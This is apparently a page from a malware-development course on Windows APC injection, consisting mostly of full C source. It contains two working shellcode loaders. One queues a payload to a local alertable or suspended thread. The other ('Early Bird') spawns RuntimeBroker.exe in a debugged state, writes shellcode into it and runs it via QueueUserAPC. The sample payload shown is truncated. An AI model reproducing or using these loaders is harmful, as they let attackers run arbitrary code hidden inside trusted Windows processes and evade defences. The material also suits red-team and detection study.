APC Injection

Normal APC Injection

Asynchronous Procedure Calls are a Windows operating system mechanism that enables programs to execute tasks asynchronously while continuing to run other tasks.

APCs are implemented as kernel-mode routines that are executed in the context of a specific thread. Malware can leverage APCs to queue a payload and then have it execute when scheduled.

Not all threads can run a queued APC function, only threads in an alertable state can do so. An alertable state thread is a thread that is in a wait state. When a thread enters an alertable state it is placed in a queue of alertable threads, allowing it to run queued APC functions.

! The thread must be created in a suspended state, suspending an existing thread will not work.

To queue an APC function to a thread, the address of the APC function must be passed to the QueueUserAPC WinAPI.

Before doing so, a thread in the local process must be placed in an alertable state, this can be done by creating a thread and using one of the following WinAPIs:

  • SleepEx

  • MsgWaitForMultipleObjectsEx

  • WaitForSingleObjectEx

  • WaitForMultipleObjectsEx

  • SignalObjectAndWait

The implementation logic will be as follows:

  • First, create a thread that runs one of the previously functions to place it in an alertable state.

  • Inject the payload into memory.

  • The thread handle and payload base address will be passed as input parameters to QueueUserAPC.

Then, we must create the APC Injection Function, which will require 3 arguments:

  • hThread --> A handle to an alertable or suspended thread.

  • pPayload --> A pointer to the payload's base address.

  • sPayloadSize --> The size of the payload.

Code:

#include <Windows.h>
#include <stdio.h>

// if the following is defined, the code will run apc injection using a alertable sacrificial thread,
// else if it is commented, the program will create the sacrificial thread in a suspended state, to resume it later (and run the payload)
#define RUN_BY_ALERTABLETHREAD

// Shellcode 
unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	// ............
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};


// if RUN_BY_ALERTABLETHREAD is [not] defined (#ifndef) - then we are using an suspended thread to do apc injection

#ifndef RUN_BY_ALERTABLETHREAD

VOID DummyFunction() {

	// dummy code
	int		j = rand();
	int		i = j + rand();

}

#endif // !RUN_BY_ALERTABLETHREAD


// if RUN_BY_ALERTABLETHREAD is defined (#ifdef) - then we are using an alertable thread to do apc injection

#ifdef RUN_BY_ALERTABLETHREAD
// use one of the following to do apc injection through an alertable thread


VOID AlertableFunction1() {
	
	SleepEx(INFINITE, TRUE);
}

VOID AlertableFunction2() {

	HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
	if (hEvent) {
		WaitForSingleObjectEx(hEvent, INFINITE, TRUE);
		CloseHandle(hEvent);
	}
}


VOID AlertableFunction3() {

	HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
	if (hEvent){
		WaitForMultipleObjectsEx(1, &hEvent, TRUE, INFINITE, TRUE);
		CloseHandle(hEvent);
	}
}


VOID AlertableFunction4() {

	HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
	if (hEvent) {
		MsgWaitForMultipleObjectsEx(1, &hEvent, INFINITE, QS_KEY, MWMO_ALERTABLE);
		CloseHandle(hEvent);
	}
}


VOID AlertableFunction5() {
	
	HANDLE hEvent1	= CreateEvent(NULL, NULL, NULL, NULL);
	HANDLE hEvent2	= CreateEvent(NULL, NULL, NULL, NULL);

	if (hEvent1 && hEvent2) {
		SignalObjectAndWait(hEvent1, hEvent2, INFINITE, TRUE);
		CloseHandle(hEvent1);
		CloseHandle(hEvent2);
	}
}
#endif // RUN_BY_ALERTABLETHREAD


/*
parameters: 
	- hThread is the handle of a alertable or suspended thread to use for apc injection
	- pPayload is the payload base address
	- sPayloadSize is the payload size
*/

BOOL RunViaApcInjection(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

	PVOID		pAddress			= NULL;
	DWORD		dwOldProtection		= NULL;

	
	pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pAddress == NULL) {
		printf("\t[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	memcpy(pAddress, pPayload, sPayloadSize);
	
	printf("\t[i] Payload Written To : 0x%p \n", pAddress);

	if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("\t[!] VirtualProtect Failed With Error : %d \n", GetLastError());
		return FALSE;
	}


	printf("\t[#] Press <Enter> To Run ... ");
	getchar();

	// if `hThread` is in an alertable state, QueueUserAPC will run the payload directly
	// if `hThread` is in a suspended state, the payload won't be executed unless the thread is resumed after
	if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
		printf("\t[!] QueueUserAPC Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	return TRUE;
}


int main(){


	HANDLE		hThread			= NULL;
	DWORD		dwThreadId		= NULL;

//-------------------------------------------------------------------------------------------

#ifndef RUN_BY_ALERTABLETHREAD
	hThread = CreateThread(NULL, NULL, &DummyFunction, NULL, CREATE_SUSPENDED, &dwThreadId);
	if (hThread == NULL) {
		printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("[+] Suspended Target Thread Created With Id : %d \n", dwThreadId);

#endif // !RUN_BY_ALERTABLETHREAD


#ifdef RUN_BY_ALERTABLETHREAD
	hThread = CreateThread(NULL, NULL, &AlertableFunction5, NULL, NULL, &dwThreadId);
	if (hThread == NULL) {
		printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("[+] Alertable Target Thread Created With Id : %d \n", dwThreadId);
#endif // RUN_BY_ALERTABLETHREAD


//-------------------------------------------------------------------------------------------

	printf("[i] Running Apc Injection Function ... \n");
	if (!RunViaApcInjection(hThread, Payload, sizeof(Payload))) {
		return -1;
	}
	printf("[+] DONE \n");

//-------------------------------------------------------------------------------------------

#ifndef RUN_BY_ALERTABLETHREAD
	// resuming the thread in case we are targetting a suspended thread
	printf("[i] Resuming Thread ...");
	ResumeThread(hThread);
	printf("[+] DONE \n");
#endif // !RUN_BY_ALERTABLETHREAD

//-------------------------------------------------------------------------------------------


	WaitForSingleObject(hThread, INFINITE);

	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;

}

Early Bird APC Injection

APC injection requires either a suspended or an alertable thread to execute the payload. It is difficult to come across threads that are in these states, so the solution is creating a suspended process using the CreateProcess WinAPI and use the handle to its suspended thread.

#include <Windows.h>
#include <stdio.h>

// disable error 4996 (caused by sprint)
#pragma warning (disable:4996)


#define TARGET_PROCESS		"RuntimeBroker.exe"


unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	//shellcode .....
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};


/*
	inject the input payload into 'hProcess' and return the base address of where did the payload got written
*/
BOOL InjectShellcodeToRemoteProcess(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode, PVOID* ppAddress) {

	SIZE_T	sNumberOfBytesWritten = NULL;
	DWORD	dwOldProtection = NULL;


	*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (*ppAddress == NULL) {
		printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("\n\t[i] Allocated Memory At : 0x%p \n", *ppAddress);


	printf("\t[#] Press <Enter> To Write Payload ... ");
	getchar();
	if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
		printf("\n\t[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("\t[i] Successfully Written %d Bytes\n", sNumberOfBytesWritten);


	if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	return TRUE;
}



/*
Parameters:
	- lpProcessName; a process name under '\System32\' to create
	- dwProcessId;  Pointer to a DWORD which will recieve the newly created process's PID.
	- hProcess; Pointer to a HANDLE that will recieve the newly created process's handle.
	- hThread; Pointer to a HANDLE that will recieve the newly created process's thread.

Creates a new process 'lpProcessName' in suspended state and return its pid, handle, and the handle of its main thread
*/
BOOL CreateSuspendedProcess2(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {

	CHAR					lpPath		[MAX_PATH * 2];
	CHAR					WnDr		[MAX_PATH];

	STARTUPINFO				Si			= { 0 };
	PROCESS_INFORMATION		Pi			= { 0 };

	// cleaning the structs 
	RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

	// setting the size of the structure
	Si.cb = sizeof(STARTUPINFO);

	// Getting the %WINDIR% environment variable path (this is usually 'C:\Windows')
	if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
		printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Creating the target process path 
	sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
	printf("\n\t[i] Running : \"%s\" ... ", lpPath);

	if (!CreateProcessA(
		NULL,
		lpPath,
		NULL,
		NULL,
		FALSE,
		DEBUG_PROCESS,		// Substitute of CREATE_SUSPENDED		
		NULL,
		NULL,
		&Si,
		&Pi)) {
		printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
		return FALSE;
	}

	/*
		{	both CREATE_SUSPENDED & DEBUG_PROCESS will work,
			CREATE_SUSPENDED will need ResumeThread, and
			DEBUG_PROCESS will need DebugActiveProcessStop
			to resume the execution
		}
	*/
	printf("[+] DONE \n");

	// Populating the OUTPUT parameter with 'CreateProcessA's output'
	*dwProcessId	= Pi.dwProcessId;
	*hProcess		= Pi.hProcess;
	*hThread		= Pi.hThread;

	// Doing a check to verify we got everything we need
	if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
		return TRUE;
	
	return FALSE;
}



int main() {
	
	HANDLE		hProcess		= NULL,
				hThread			= NULL;

	DWORD		dwProcessId		= NULL;

	PVOID		pAddress		= NULL;


//	creating target remote process (in debugged state)
	printf("[i] Creating \"%s\" Process As A Debugged Process ... ", TARGET_PROCESS);
	if (!CreateSuspendedProcess2(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
		return -1;
	}
	printf("\t[i] Target Process Created With Pid : %d \n", dwProcessId);
	printf("[+] DONE \n\n");


// injecting the payload and getting the base address of it
	printf("[i] Writing Shellcode To The Target Process ... ");
	if (!InjectShellcodeToRemoteProcess(hProcess, Payload, sizeof(Payload), &pAddress)) {
		return -1;
	}
	printf("[+] DONE \n\n");

//	running QueueUserAPC
	QueueUserAPC((PTHREAD_START_ROUTINE)pAddress, hThread, NULL);


	printf("[#] Press <Enter> To Run Shellcode ... ");
	getchar();

//	since 'CreateSuspendedProcess2' create a process in debug mode,
//	we need to 'Detach' to resume execution; we do using `DebugActiveProcessStop`   
	printf("[i] Detaching The Target Process ... ");
	DebugActiveProcessStop(dwProcessId);
	printf("[+] DONE \n\n");

	printf("[#] Press <Enter> To Quit ... ");
	getchar();
	CloseHandle(hProcess);
	CloseHandle(hThread);

	return 0;
}

Last updated